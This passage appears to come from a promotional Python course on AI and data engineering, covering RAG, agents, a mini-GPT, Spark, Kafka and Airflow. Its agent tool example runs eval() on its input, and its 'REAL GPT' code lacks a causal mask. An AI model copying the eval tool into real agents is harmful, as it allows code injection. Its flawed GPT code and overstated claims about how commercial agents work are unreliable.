⭐ 41.2 Named Entity Recognition (NER) 

for ent in doc.ents: 

    print(ent.text, ent.label_) 
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NER detects: 

✔ names​
 ✔ companies​
 ✔ dates​
 ✔ money​
 ✔ products​
 ✔ organizations​
 ✔ locations 

 

⭐ 41.3 Sentiment Analysis 

Using TextBlob: 

from textblob import TextBlob 

 

TextBlob("This is amazing!").sentiment 

 

 

⭐ 42. Building CHATBOTS Using Python 

A chatbot needs: 

✔ NLP​
 ✔ response generation​
 ✔ context tracking​
 ✔ embeddings​
 ✔ LLM integration​
 ✔ memory 
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Simple keyword chatbot: 

def chatbot(msg): 

    if "hello" in msg.lower(): 

        return "Hello macha!" 

    return "I don’t understand." 

 

But REAL chatbots use LLM + RAG. 

 

⭐ 43. Retrieval-Augmented Generation (RAG) 

RAG is the FUTURE. 

LLMs hallucinate; RAG fixes that by giving the model facts. 

RAG pipeline: 

1.​ Convert documents → embeddings​
 

2.​ Store in vector database​
 

3.​ Query embeddings​
 

4.​ Retrieve top matches​
 

5.​ Feed them into LLM​
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⭐ 43.1 Build a Simple RAG Pipeline in Python 

Install: 

pip install sentence-transformers faiss-cpu 

 

Step 1 — Convert Documents to Vectors 

from sentence_transformers import SentenceTransformer 

import faiss 

import numpy as np 

 

model = SentenceTransformer("all-MiniLM-L6-v2") 

 

docs = ["CDB blockchain...", "CyberDudeBivash Python course...", "Threat Intelligence..."] 

emb = model.encode(docs) 

 

 

⭐ 43.2 Create FAISS Vector Index 

index = faiss.IndexFlatL2(emb.shape[1]) 

index.add(np.array(emb)) 
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⭐ 43.3 Query the RAG System 

query = "What is the CyberDudeBivash Python course?" 

q_emb = model.encode([query]) 

 

D, I = index.search(q_emb, 3) 

print([docs[i] for i in I[0]]) 

 

This retrieves the top documents.​
 Feed them into GPT/LLM for factual accuracy. 

 

⭐ 44. Build a FULL Chatbot With RAG + LLM 

Pseudo-flow: 

User → Query → Embed → Search → Retrieve Docs → 

LLM → Response → User 

 

 

⭐ 45. Building Voice AI (Speech-to-Text + Text-to-Speech) 

Speech-to-Text (Whisper) 

Install: 

pip install openai-whisper 
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import whisper 

model = whisper.load_model("base") 

result = model.transcribe("audio.mp3") 

print(result["text"]) 

 

 

Text-to-Speech (TTS) 

from gtts import gTTS 

tts = gTTS("Hello macha!", lang="en") 

tts.save("output.mp3") 

 

 

⭐ 46. Computer Vision (CV) — CNNs + Transformers 

Vision AI tasks: 

✔ Image classification​
 ✔ Object detection​
 ✔ Segmentation​
 ✔ OCR​
 ✔ Face recognition​
 ✔ Vision Transformers (ViT) 

 

⭐ 46.1 Build CNN for Image Classification 

from tensorflow.keras import layers, models 
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model = models.Sequential([ 

    layers.Conv2D(32, (3,3), activation='relu', input_shape=(128,128,3)), 

    layers.MaxPooling2D(), 

    layers.Flatten(), 

    layers.Dense(64, activation='relu'), 

    layers.Dense(10, activation='softmax') 

]) 

 

 

⭐ 46.2 Vision Transformers (ViT) 

Transformers revolutionized vision too. 

Install: 

pip install transformers 

 

 

from transformers import ViTFeatureExtractor, ViTForImageClassification 

import PIL.Image as Image 

 

img = Image.open("cat.jpg") 

extractor = ViTFeatureExtractor.from_pretrained("google/vit-base-patch16-224") 

inputs = extractor(images=img, return_tensors="pt") 

 

model = ViTForImageClassification.from_pretrained("google/vit-base-patch16-224") 
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logits = model(**inputs).logits 

 

 

⭐ 47. Generative AI (Images, Text, Audio) 

Modern GenAI includes: 

🔥 Diffusion models​
 🔥 GANs​
 🔥 Transformers​
 🔥 VAE​
 🔥 LLMs 

Most popular: 

●​ Stable Diffusion​
 

●​ Midjourney​
 

●​ DALL·E​
 

●​ Imagen​
 

We simulate usage. 

 

⭐ 47.1 Diffusion Model Workflow 

Steps: 

1.​ Add noise​
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2.​ Denoise​
 

3.​ Learn noise patterns​
 

4.​ Generate new images​
 

We won't implement full diffusion (too huge), but we’ll code a mini version. 

 

⭐ 48. Build an AI Agent (Tool-Using Autonomous Agent) 

Agents can: 

✔ plan​
 ✔ think​
 ✔ use tools​
 ✔ call APIs​
 ✔ search web​
 ✔ make decisions​
 ✔ work autonomously 

 

⭐ 48.1 Agent Core Structure 

class Agent: 

    def __init__(self, llm, tools): 

        self.llm = llm 

        self.tools = tools 

     

    def think(self, prompt): 
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        plan = self.llm(prompt) 

        return self.execute(plan) 

     

    def execute(self, plan): 

        # parse plan → call tools 

        ... 

 

 

⭐ 48.2 Tools Example 

def search_tool(query): 

    return f"Search results for {query}" 

 

def math_tool(expr): 

    return eval(expr) 

 

 

⭐ 49. Build a RAG + Agent + Tools Full System 

Flow: 

User Query → 

Vector Search → 

Docs → 

LLM → 

584 



 

 

Agent Planner → 

Tool Calls → 

Final Answer 

 

We will combine: 

✔ embeddings​
 ✔ vector DB​
 ✔ GPT​
 ✔ tools​
 ✔ agents 

This is how ChatGPT Agents run. 

 

⭐ 50. Deploy AI Models Using FastAPI 

Install: 

pip install fastapi uvicorn 

 

 

Basic AI API 

from fastapi import FastAPI 

from transformers import pipeline 

 

app = FastAPI() 

clf = pipeline("sentiment-analysis") 

 

585 



 

 

@app.post("/predict") 

def predict(text: str): 

    return clf(text) 

 

Start server: 

uvicorn main:app --reload 

 

 

⭐ 51. GPU Deployment with Docker 

Dockerfile: 

FROM pytorch/pytorch:latest 

COPY . /app 

WORKDIR /app 

RUN pip install -r requirements.txt 

CMD ["python", "app.py"] 

 

Run with GPU: 

docker run --gpus all my-ai-app 
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⭐ MODULE 7 — PART 4 

🚀 BUILD YOUR OWN GPT • MULTI-AGENTS • RL • AI SaaS 

• DEPLOYMENT • OPTIMIZATION • SECURITY 

 

⭐ 52. Build Your Own GPT (FULL TRAINING PIPELINE) 

This section gives you EXACT steps used by LLaMA, GPT-NeoX, Mistral, etc. 

You will build: 

✔ Tokenizer​
 ✔ Dataset loader​
 ✔ Model architecture​
 ✔ Training loop​
 ✔ Optimizer​
 ✔ Checkpointing​
 ✔ Logging​
 ✔ Inference 

 

⭐ 52.1 Dataset Preparation 

GPT trains on text corpus: 

●​ Wikipedia​
 

●​ News​
 

●​ Code​
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●​ Books​
 

●​ Chat logs​
 

●​ Your custom datasets​
 

Load data: 

with open("data.txt") as f: 

    text = f.read() 

 

 

⭐ 52.2 Tokenizer (BPE Processor) 

We use tokenizers library. 

pip install tokenizers 

 

from tokenizers import Tokenizer, models, trainers, pre_tokenizers 

 

tokenizer = Tokenizer(models.BPE()) 

trainer = trainers.BpeTrainer(vocab_size=30000) 

tokenizer.pre_tokenizer = pre_tokenizers.ByteLevel() 

tokenizer.train(["data.txt"], trainer) 

tokenizer.save("cdb_gpt_tokenizer.json") 
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⭐ 52.3 GPT Model Architecture (PyTorch) 

We now implement a REAL GPT (decoder-only transformer). 

 

Full GPT Block: 

import torch 

import torch.nn as nn 

import torch.nn.functional as F 

 

class GPTBlock(nn.Module): 

    def __init__(self, dim, heads, ff_mult=4): 

        super().__init__() 

        self.attn = nn.MultiheadAttention(dim, heads, batch_first=True) 

        self.ff = nn.Sequential( 

            nn.Linear(dim, ff_mult*dim), 

            nn.ReLU(), 

            nn.Linear(ff_mult*dim, dim) 

        ) 

        self.ln1 = nn.LayerNorm(dim) 

        self.ln2 = nn.LayerNorm(dim) 

     

    def forward(self, x): 

        att, _ = self.attn(x, x, x) 

        x = self.ln1(x + att) 

589 



 

 

        ff_out = self.ff(x) 

        return self.ln2(x + ff_out) 

 

 

⭐ 52.4 Complete GPT Model 

class MiniGPT(nn.Module): 

    def __init__(self, vocab, dim, depth, heads, max_len=512): 

        super().__init__() 

        self.token_emb = nn.Embedding(vocab, dim) 

        self.pos_emb = nn.Embedding(max_len, dim) 

 

        self.blocks = nn.ModuleList([ 

            GPTBlock(dim, heads) for _ in range(depth) 

        ]) 

         

        self.lm_head = nn.Linear(dim, vocab) 

     

    def forward(self, x): 

        B, T = x.size() 

        pos = torch.arange(T).unsqueeze(0) 

        x = self.token_emb(x) + self.pos_emb(pos) 

         

        for block in self.blocks: 
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            x = block(x) 

 

        logits = self.lm_head(x) 

        return logits 

 

 

⭐ 52.5 Training Loop 

import torch.optim as optim 

 

model = MiniGPT(vocab=30000, dim=512, depth=8, heads=8) 

opt = optim.Adam(model.parameters(), lr=1e-4) 

 

for epoch in range(20): 

    for batch in dataloader: 

        opt.zero_grad() 

        logits = model(batch["input"]) 

        loss = F.cross_entropy(logits.view(-1, vocab), batch["target"].view(-1)) 

        loss.backward() 

        opt.step() 
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⭐ 52.6 Saving Checkpoints 

torch.save(model.state_dict(), "cdb_gpt.pt") 

 

 

⭐ 52.7 Inference (Generate Text) 

def generate(model, tokenizer, prompt, max_len=50): 

    tokens = tokenizer.encode(prompt).ids 

    inp = torch.tensor(tokens).unsqueeze(0) 

     

    for _ in range(max_len): 

        logits = model(inp)[:,-1,:] 

        next_id = torch.argmax(logits, dim=-1).item() 

        inp = torch.cat([inp, torch.tensor([[next_id]])], dim=1) 

     

    return tokenizer.decode(inp[0].tolist()) 

 

 

⭐ 53. Build MULTI-AGENT AI SYSTEMS 

Multi-agent = multiple AI models collaborating.​
 This is the future of: 

✔ automation​
 ✔ business workflows​
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 ✔ cybersecurity​
 ✔ finance​
 ✔ governance​
 ✔ autonomous systems 

Multi-agent system components: 

🔥 1. Planner agent 

Decides tasks. 

🔥 2. Worker agents 

Execute tasks (code, search, summarize, etc). 

🔥 3. Memory agent 

Long-term storage + embeddings. 

🔥 4. Tool agent 

Uses APIs/tools. 

Let’s build the engine. 

 

⭐ 53.1 Agent Class 

class Agent: 

    def __init__(self, name, llm, tools=None): 

        self.name = name 

        self.llm = llm 

        self.tools = tools or {} 

 

    def run(self, prompt): 

        return self.llm(prompt) 
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⭐ 53.2 Planner Agent 

planner_prompt = """ 

You are the planner. Split the user's task into steps. 

""" 

 

def planner(task): 

    return llm(planner_prompt + task) 

 

 

⭐ 53.3 Tool Agent 

def run_tool(tool_name, query): 

    return tools[tool_name](query) 

 

 

⭐ 53.4 Full Multi-Agent Pipeline 

User → Planner → Task List → Workers → Tools → Aggregator → Final Answer 

 

This is EXACTLY how: 
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✔ AutoGPT​
 ✔ BabyAGI​
 ✔ SuperAGI​
 ✔ Devin AI​
 ✔ CrewAI​
 ✔ Llama Agents 

work behind the scenes. 

 

⭐ 54. Reinforcement Learning (RL) for AI 

RL = training agents using: 

✔ reward​
 ✔ punishment​
 ✔ environment 

Famous RL methods: 

●​ Q-Learning​
 

●​ Deep Q-Networks (DQN)​
 

●​ PPO (used by OpenAI)​
 

●​ Actor-Critic Models​
 

 

⭐ 54.1 Q-Learning 

Q[state][action] = reward + gamma * max(Q[next_state]) 
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⭐ 54.2 Deep Q-Network (DQN) 

class DQN(nn.Module): 

    def __init__(self): 

        super().__init__() 

        self.net = nn.Sequential( 

            nn.Linear(4, 64), 

            nn.ReLU(), 

            nn.Linear(64, 2) 

        ) 

 

This is how Atari bots are trained. 

 

⭐ 55. Build a Voice AI Assistant 

Workflow: 

1.​ Speech-to-text (Whisper)​
 

2.​ LLM​
 

3.​ Tool calling​
 

4.​ Text-to-speech (TTS)​
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5.​ Play audio​
 

This is how: 

✔ Alexa​
 ✔ Siri​
 ✔ Google Assistant​
 ✔ Jarvis clones 

work. 

 

⭐ 56. Build AI SaaS Products 

You will learn how to build: 

✔ AI chatbots​
 ✔ AI voicebots​
 ✔ AI security scanners​
 ✔ AI code assistants​
 ✔ AI RAG knowledge bases​
 ✔ AI task automation 

Using: 

●​ FastAPI​
 

●​ Docker​
 

●​ GPU servers​
 

●​ Stripe for billing​
 

●​ Role-based authentication​
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●​ Redis for caching​
 

●​ Postgres/MongoDB​
 

 

⭐ 57. AI Scaling & Deployment 

Scale using: 

✔ GPU clusters​
 ✔ Kubernetes​
 ✔ vLLM​
 ✔ HuggingFace TGI​
 ✔ TensorRT​
 ✔ ONNX​
 ✔ DeepSpeed​
 ✔ Colossal-AI 

 

⭐ 58. LLM Optimization Techniques 

✔ Quantization​
 ✔ Pruning​
 ✔ KV caching​
 ✔ FlashAttention 2​
 ✔ Speculative decoding​
 ✔ Mixture of experts (MoE)​
 ✔ Parameter-efficient fine-tuning (PEFT) 

These make AI FAST and CHEAP. 
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⭐ 59. AI Safety & Security 

Security concerns: 

✔ prompt injection​
 ✔ jailbreaks​
 ✔ data poisoning​
 ✔ model theft​
 ✔ API abuse​
 ✔ hallucinations​
 ✔ adversarial examples 

We will build: 

🔥 Safe model wrapper​
 🔥 Input sanitizer​
 🔥 Output guard​
 🔥 Jailbreak detector​
 🔥 Content policy filters 

 

⭐ 60. FINAL MEGA PROJECT — CDB AI SUPER 

PLATFORM 

You will build: 
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🔥 Full GPT Model 

🔥 AI Agent System 

🔥 RAG Engine 

🔥 AI Voice Assistant 

🔥 AI Chatbot 

🔥 AI Dashboard (FastAPI + React) 

🔥 GPU deployment 

🔥 Docker/Kubernetes setup 

🔥 API Gateway 

🔥 Billing System 

🔥 Model monitoring 

This is a FULL AI SaaS BUSINESS​
 you can launch under CyberDudeBivash Pvt Ltd. 

 

 

⭐ MODULE 8 — PART 1 

🚀 PYTHON FOR DATA ENGINEERING FOUNDATIONS 

(EXTREME DEEP DIVE) 

 

⭐ 1. What Is Data Engineering? (Crystal Clear) 

Data Engineering is the backbone of: 
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✔ AI/ML​
 ✔ Analytics​
 ✔ Business intelligence​
 ✔ Cybersecurity​
 ✔ Automation workflows​
 ✔ Fraud detection​
 ✔ Finance systems​
 ✔ Enterprise operations 

Data engineers handle: 

●​ Data ingestion​
 

●​ Data transformation​
 

●​ Data storage​
 

●​ Data pipelines​
 

●​ Data quality​
 

●​ Data governance​
 

●​ Scaling systems​
 

●​ Cloud data platforms​
 

●​ ETL/ELT workflows​
 

Python is the #1 language because: 

✔ Simple​
 ✔ Millions of libs​
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 ✔ Works with Big Data (PySpark, Dask)​
 ✔ Works with streaming (Kafka)​
 ✔ Works with orchestration (Airflow)​
 ✔ Works with cloud (AWS/GCP/Azure)​
 ✔ Works with ML/AI pipelines 

 

⭐ 2. Data Engineering Pipeline Architecture 

A modern data pipeline consists of: 

🔥 1. Ingestion 

●​ Kafka​
 

●​ Kinesis​
 

●​ API ingestion​
 

●​ File ingestion​
 

●​ CDC (Change Data Capture)​
 

🔥 2. Storage 

●​ Data lake (S3, Azure Blob, GCS)​
 

●​ Data warehouse (Snowflake, BigQuery, Redshift)​
 

●​ Databases (Postgres, MySQL, MongoDB)​
 

602 



 

 

🔥 3. Processing 

●​ Spark​
 

●​ Flink​
 

●​ Dask​
 

●​ Pandas​
 

🔥 4. Orchestration 

●​ Airflow​
 

●​ Prefect​
 

●​ Dagster​
 

🔥 5. Consumption 

●​ ML models​
 

●​ Dashboards​
 

●​ Analytics​
 

●​ AI apps​
 

●​ APIs​
 

We will build ALL these systems. 
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⭐ 3. Python Tools Every Data Engineer Must Master 

✔ Pandas → small datasets 

✔ Dask → medium datasets (clustered Pandas) 

✔ PySpark → Big Data 

✔ FastAPI/Flask → API ingestion 

✔ SQLAlchemy → DB interface 

✔ Airflow/Prefect → Orchestration 

✔ boto3 → AWS 

✔ Kafka-python → streaming 

✔ PyArrow → Columnar processing (Parquet/Arrow) 

✔ DuckDB → in-process query engine 

✔ Polars → lightning-fast dataframe library (Rust backend) 

Macha, you will MASTER all of these. 
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⭐ 4. Data Formats (VERY IMPORTANT) 

✔ CSV — slow, huge, not compressed 

✔ JSON — flexible but heavy 

✔ Parquet — BEST for big data 

✔ ORC — optimized for big clusters 

✔ Avro — Kafka-friendly 

✔ Arrow — memory representation 

✔ Delta — for Lakehouse systems 

Example: reading Parquet with Python: 

import pandas as pd 

 

df = pd.read_parquet("data.parquet") 

 

 

⭐ 5. Pandas Deep Dive (Data Engineering Edition) 

Load CSV 

df = pd.read_csv("bigdata.csv") 

 

Handle Missing Values 

df.fillna(0, inplace=True) 
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Filter Data 

df[df["salary"] > 50000] 

 

Grouping 

df.groupby("city").salary.mean() 

 

 

⭐ 6. Polars — Faster Than Pandas 

Install: 

pip install polars 

 

Usage: 

import polars as pl 

 

df = pl.read_csv("data.csv") 

df.filter(pl.col("age") > 30) 

 

Polars is 10–50x faster than Pandas. 

 

⭐ 7. PyArrow — Columnar Processing 

Columnar format = super-fast analytics. 

import pyarrow.parquet as pq 
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table = pq.read_table("data.parquet") 

df = table.to_pandas() 

 

 

⭐ 8. Build a Python ETL Pipeline (Real Example) 

Extract 

import requests 

 

data = requests.get("https://api.example.com/users").json() 

 

Transform 

df = pd.DataFrame(data) 

df["full_name"] = df["first"] + " " + df["last"] 

 

Load 

df.to_parquet("users.parquet") 

 

This is a real ETL. 
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⭐ 9. SQL for Data Engineering (Python Integration) 

Connect to Postgres 

from sqlalchemy import create_engine 

 

engine = create_engine("postgresql://user:pass@localhost/db") 

df.to_sql("users", engine, if_exists="append") 

 

 

⭐ 10. Data Ingestion With APIs 

REST API ingestion 

import requests 

data = requests.get("https://dummyjson.com/products").json() 

 

Batch insert 

import pandas as pd 

df = pd.DataFrame(data["products"]) 
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⭐ MODULE 8 — PART 2 

🚀 APACHE SPARK MASTERCLASS (Pyspark, Streaming, 

Delta, Optimization) 

 

⭐ 11. What is Apache Spark? 

Spark is: 

✔ Distributed computing engine​
 ✔ Fastest big data processor​
 ✔ Can run on 1 machine OR 1000 machines​
 ✔ Fault-tolerant​
 ✔ Parallel processing​
 ✔ Works with memory (RAM)​
 ✔ Integrates with Hadoop, AWS, GCP, Azure 

Spark handles: 

●​ Batch processing​
 

●​ Real-time streaming​
 

●​ SQL​
 

●​ Machine Learning​
 

●​ Graph processing​
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⭐ 12. Spark Core Concepts 

✔ Cluster 

Distributed machines. 

✔ Driver 

Your Python program. 

✔ Executor 

Workers running tasks. 

✔ RDD 

Low-level distributed data structure. 

✔ DataFrame 

High-level optimized API (like Pandas but distributed). 

✔ Catalyst Optimizer 

Auto-optimizes queries. 

✔ Tungsten Engine 

Performs memory optimization. 

 

⭐ 13. Install & Start PySpark 

Install: 

pip install pyspark 

 

Start session: 

from pyspark.sql import SparkSession 
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spark = SparkSession.builder.appName("CDB").getOrCreate() 

 

 

⭐ 14. Create Spark DataFrame 

From Python list: 

data = [("Bivash", 25), ("Machaa", 30)] 

df = spark.createDataFrame(data, ["name", "age"]) 

df.show() 

 

From CSV: 

df = spark.read.csv("people.csv", header=True, inferSchema=True) 

 

 

⭐ 15. Spark DataFrame Operations 

Show schema 

df.printSchema() 

 

Select columns 

df.select("name").show() 
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Filter rows 

df.filter(df.age > 25).show() 

 

Group by 

df.groupBy("city").count().show() 

 

Add new column 

df = df.withColumn("age_plus_5", df.age + 5) 

 

 

⭐ 16. Spark SQL 

Register DataFrame: 

df.createOrReplaceTempView("users") 

 

Run SQL: 

spark.sql("SELECT * FROM users WHERE age > 25").show() 

 

 

⭐ 17. Writing Data 

Write to Parquet (best format): 

df.write.mode("overwrite").parquet("output/users") 
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Write to CSV: 

df.write.csv("output/users_csv", header=True) 

 

 

⭐ 18. Reading JSON / Parquet / ORC 

spark.read.json("data.json") 

spark.read.parquet("data.parquet") 

spark.read.orc("data.orc") 

 

 

⭐ 19. Spark Joins (Distributed Joins) 

df1.join(df2, df1.id == df2.user_id, "inner") 

 

Types: 

●​ inner​
 

●​ left​
 

●​ right​
 

●​ outer​
 

●​ left_semi​
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●​ left_anti​
 

 

⭐ 20. Window Functions (VERY IMPORTANT) 

from pyspark.sql.window import Window 

import pyspark.sql.functions as F 

 

w = Window.partitionBy("city").orderBy("salary") 

 

df.withColumn("rank", F.rank().over(w)).show() 

 

Used for: 

✔ rankings​
 ✔ running totals​
 ✔ time series analytics​
 ✔ fraud detection 

 

⭐ 21. PySpark UDF (User Defined Functions) 

Dangerous (slow) — use sparingly. 

from pyspark.sql.functions import udf 

from pyspark.sql.types import StringType 

 

@udf(StringType()) 
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def shout(name): 

    return name.upper() 

 

df.withColumn("shout_name", shout(df.name)).show() 

 

 

⭐ 22. Spark Streaming 

Streaming = Real-time data processing.​
 Examples: 

✔ log ingestion​
 ✔ cybersecurity event monitoring​
 ✔ fraud detection​
 ✔ clickstream​
 ✔ sensors​
 ✔ financial data 

Start streaming: 

stream_df = spark.readStream.format("socket").option("host", "localhost").option("port", 

9999).load() 

 

 

⭐ 23. Streaming Transformations 

stream_df = stream_df.selectExpr("CAST(value AS STRING)") 
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⭐ 24. Write Stream to Console 

stream_df.writeStream.outputMode("append").format("console").start().awaitTermination() 

 

 

⭐ 25. Kafka + Spark Streaming 

Install: 

pip install kafka-python 

 

Read from Kafka: 

df = spark.readStream.format("kafka") \ 

    .option("kafka.bootstrap.servers", "localhost:9092") \ 

    .option("subscribe", "events") \ 

    .load() 

 

 

⭐ 26. Structured Streaming with Parquet Sink 

df.writeStream.outputMode("append").format("parquet").option("path", "out/stream").start() 
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⭐ 27. Delta Lake (Modern Lakehouse) 

Delta combines: 

✔ data lake flexibility​
 ✔ data warehouse reliability 

Install: 

pip install delta-spark 

 

 

Write Delta Table 

df.write.format("delta").save("/data/users") 

 

Read Delta 

df = spark.read.format("delta").load("/data/users") 

 

 

⭐ 28. Time Travel in Delta Lake 

df = spark.read.format("delta").option("versionAsOf", 3).load("/data/users") 
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⭐ 29. OPTIMIZATION (VERY IMPORTANT FOR 

INTERVIEWS) 

29.1 Partitioning 

df.write.partitionBy("year").parquet("data/") 

 

29.2 Bucketing 

df.write.bucketBy(8, "user_id").sortBy("user_id").saveAsTable("users_bucketed") 

 

29.3 Caching 

df.cache() 

 

29.4 Broadcast Join 

from pyspark.sql.functions import broadcast 

df1.join(broadcast(df2), "id") 

 

 

⭐ 30. Spark on AWS (EMR) 

EMR = Managed Spark. 

You will learn: 

✔ submit jobs​
 ✔ auto-scaling​
 ✔ cluster tuning​
 ✔ HDFS vs S3 usage​
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 ✔ using spot instances​
 ✔ EMR notebook​
 ✔ PySpark optimization 

 

⭐ 31. Spark on Databricks 

Databricks is the most advanced AI + Data platform. 

You will master: 

✔ notebooks​
 ✔ DBFS​
 ✔ DLT (Delta Live Tables)​
 ✔ MLflow​
 ✔ Feature Store​
 ✔ Job clusters​
 ✔ SQL warehouse 

 

⭐ MODULE 8 — PART 3 

🚀 KAFKA • HDFS • DATA LAKES • LAKEHOUSE • DATA 

WAREHOUSES • GOVERNANCE 

 

⭐ 32. Apache Kafka (Deep Dive) 

Kafka is THE HEART of modern real-time data pipelines. 

Companies use Kafka for: 

✔ Banking transactions​
 ✔ Cybersecurity logs​
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 ✔ Clickstream data​
 ✔ IoT sensor streams​
 ✔ Fraud detection​
 ✔ Real-time analytics​
 ✔ AI agents & automation​
 ✔ Microservices communication 

Kafka is: 

●​ High throughput​
 

●​ Horizontally scalable​
 

●​ Distributed​
 

●​ Durable​
 

●​ Fault-tolerant​
 

●​ Fast​
 

 

⭐ 33. Kafka Architecture 

✔ Producer 

Sends messages. 

✔ Broker 

Kafka server storing messages. 

✔ Topic 

Logical stream of data. 
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✔ Partition 

Parallelism unit. 

✔ Consumer 

Reads messages. 

✔ Consumer Group 

Distributed consumption. 

 

⭐ 34. Kafka with Python (kafka-python) 

Install: 

pip install kafka-python 

 

 

Producer 

from kafka import KafkaProducer 

producer = KafkaProducer(bootstrap_servers='localhost:9092') 

 

producer.send("events", b"Hello From CyberDudeBivash!") 

producer.flush() 

 

 

Consumer 

from kafka import KafkaConsumer 
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consumer = KafkaConsumer("events", bootstrap_servers='localhost:9092') 

for msg in consumer: 

    print(msg.value) 

 

 

⭐ 35. Kafka + Spark Streaming Integration 

Ingest Kafka into Spark: 

df = spark.readStream.format("kafka") \ 

    .option("kafka.bootstrap.servers", "localhost:9092") \ 

    .option("subscribe", "events") \ 

    .load() 

 

Kafka + Spark =​
 Real-time intelligence system. 

 

⭐ 36. Hadoop + HDFS (Deep Dive) 

Before cloud storage, big data = Hadoop. 

Hadoop ecosystem includes: 

●​ HDFS​
 

●​ YARN​
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●​ MapReduce​
 

●​ Hive​
 

●​ HBase​
 

●​ Sqoop​
 

●​ Flume​
 

But HDFS is still used in: 

✔ Enterprises​
 ✔ On-prem data centers​
 ✔ Hybrid cloud​
 ✔ Big clusters 

 

⭐ 37. HDFS Commands 

hdfs dfs -ls / 

hdfs dfs -mkdir /data/ 

hdfs dfs -put file.csv /data/ 

hdfs dfs -get /data/file.csv 

 

HDFS stores data in blocks (default 128MB). 
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⭐ 38. Hive (SQL on Hadoop) 

Hive brings SQL to big data. 

Used for: 

✔ ETL jobs​
 ✔ BI analytics​
 ✔ SQL querying on HDFS​
 ✔ Data warehousing 

Create table: 

CREATE TABLE users (id INT, name STRING) 

ROW FORMAT DELIMITED 

FIELDS TERMINATED BY ','; 

 

Query: 

SELECT * FROM users WHERE id > 10; 

 

 

⭐ 39. Presto / Trino (Ultra-Fast SQL Engine) 

Presto/Trino are: 

✔ distributed​
 ✔ massively parallel​
 ✔ interactive query engines 

Used by: 

●​ Netflix​
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●​ Uber​
 

●​ Facebook​
 

●​ Dropbox​
 

Connects to: 

●​ S3​
 

●​ HDFS​
 

●​ MySQL​
 

●​ Kafka​
 

●​ Cassandra​
 

●​ PostgreSQL​
 

●​ MongoDB​
 

Epic speed compared to Hive. 

 

⭐ 40. Data Lakes (S3 / GCS / ADLS) 

Data lakes store: 

✔ Raw data​
 ✔ Semi-structured​
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 ✔ Unstructured​
 ✔ Logs​
 ✔ Files​
 ✔ Images​
 ✔ Parquet/ORC 

Characteristics: 

●​ cheap​
 

●​ infinite scalability​
 

●​ durable​
 

●​ multi-format​
 

●​ AI-friendly​
 

Lake examples: 

●​ AWS S3​
 

●​ Google Cloud Storage​
 

●​ Azure Blob Storage​
 

●​ Azure Data Lake​
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⭐ 41. Data Lake Zones 

1️ ⃣ Raw Zone 

Untouched data. 

2️ ⃣ Cleansed Zone 

Basic validation. 

3️ ⃣ Curated Zone 

Ready for analytics. 

4️ ⃣ Gold Zone 

Highly cleaned, enriched data. 

 

⭐ 42. Lakehouse Architecture (Modern Standard) 

Lakehouse = Lake + Warehouse. 

Delta Lake enables: 

✔ ACID transactions​
 ✔ Time travel​
 ✔ Schema enforcement​
 ✔ Performance boosts​
 ✔ Governance 

Used by: 

●​ Databricks​
 

●​ Uber​
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●​ Airbnb​
 

●​ Rivian​
 

●​ CDB-level enterprise pipelines​
 

 

⭐ 43. Cloud Data Warehouses (Snowflake, BigQuery, 

Redshift) 

These are the core of enterprise analytics. 

 

⭐ Snowflake (Deep Dive) 

Snowflake = The most popular cloud data warehouse. 

Strengths: 

✔ separation of compute & storage​
 ✔ unlimited scaling​
 ✔ zero maintenance​
 ✔ super fast​
 ✔ time travel​
 ✔ cloning​
 ✔ micro-partitioning 

Snowflake SQL: 

CREATE WAREHOUSE cdb_wh; 

CREATE DATABASE cdb_db; 

USE DATABASE cdb_db; 
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Load data: 

COPY INTO table FROM @S3bucket; 

 

 

⭐ BigQuery (Google) 

Serverless, ultra-fast. 

Query: 

SELECT * FROM `dataset.table` WHERE amount > 1000; 

 

 

⭐ Redshift (AWS) 

Columnar data warehouse. 

Best for: 

✔ BI dashboards​
 ✔ Massive reporting​
 ✔ ETL analytics 

 

⭐ 44. CDC (Change Data Capture) 

CDC captures: 
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✔ Inserts​
 ✔ Updates​
 ✔ Deletes 

Tools: 

●​ Debezium​
 

●​ Kafka Connect​
 

●​ AWS DMS​
 

●​ Fivetran​
 

CDC powers: 

✔ real-time replication​
 ✔ data warehouse sync​
 ✔ analytics​
 ✔ fraud detection​
 ✔ cybersecurity SIEM ingestion 

 

⭐ 45. Data Quality (DQ) 

DQ is CRITICAL for enterprise. 

DQ checks: 

●​ Validity​
 

●​ Completeness​
 

●​ Accuracy​
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●​ Freshness​
 

●​ Consistency​
 

●​ Integrity​
 

Tools: 

●​ Great Expectations​
 

●​ Deequ​
 

●​ Soda.io​
 

 

⭐ 46. Data Lineage 

Shows: 

✔ where data came from​
 ✔ how it transformed​
 ✔ where it goes 

Tools: 

●​ Apache Atlas​
 

●​ Argo​
 

●​ DataHub​
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●​ Collibra​
 

 

⭐ 47. Data Governance 

Governance ensures: 

✔ security​
 ✔ compliance​
 ✔ access control​
 ✔ privacy​
 ✔ retention policies 

Enterprises need: 

●​ Encryption​
 

●​ RBAC​
 

●​ Auditing​
 

●​ Masking​
 

●​ PII protection​
 

●​ GDPR, HIPAA compliance​
 

 

⭐ 48. Enterprise Data Pipeline Blueprint 

Sources → 
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Kafka → 

Raw S3 → 

Spark ETL → 

Curated Zone → 

Warehouse (Snowflake/BigQuery) → 

ML/AI → 

Dashboards 

 

This is the same architecture used by Fortune 500 companies. 

 

⭐ MODULE 8 — PART 4 

🚀 AIRFLOW • PREFECT • DATA MODELING • PIPELINE 

ORCHESTRATION • ENTERPRISE PROJECTS 

 

⭐ 49. Apache Airflow Masterclass 

Airflow = World’s #1 workflow orchestration tool. 

Used by: 

✔ Airbnb​
 ✔ Netflix​
 ✔ Meta​
 ✔ PayPal​
 ✔ NASA​
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 ✔ Stripe​
 ✔ Cybersecurity SOCs 

Airflow manages: 

●​ ETL pipelines​
 

●​ Data transformations​
 

●​ Machine learning workflows​
 

●​ Scheduling​
 

●​ Dependency management​
 

●​ Retry logic​
 

●​ Alerts​
 

●​ Monitoring​
 

 

⭐ 49.1 Install Airflow 

pip install apache-airflow 

 

Initialize: 

airflow db init 

 

Start UI: 
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airflow webserver 

airflow scheduler 

 

 

⭐ 49.2 Create a Simple DAG 

from airflow import DAG 

from airflow.operators.python import PythonOperator 

from datetime import datetime 

 

def hello(): 

    print("Hello macha!") 

 

with DAG("cdb_dag", start_date=datetime(2023,1,1), schedule_interval="@daily") as dag: 

    t1 = PythonOperator(task_id="hello_task", python_callable=hello) 

 

 

⭐ 49.3 DAG Features 

✔ Retries​
 ✔ SLAs​
 ✔ Task dependencies​
 ✔ Logging​
 ✔ UI monitoring​
 ✔ Failover​
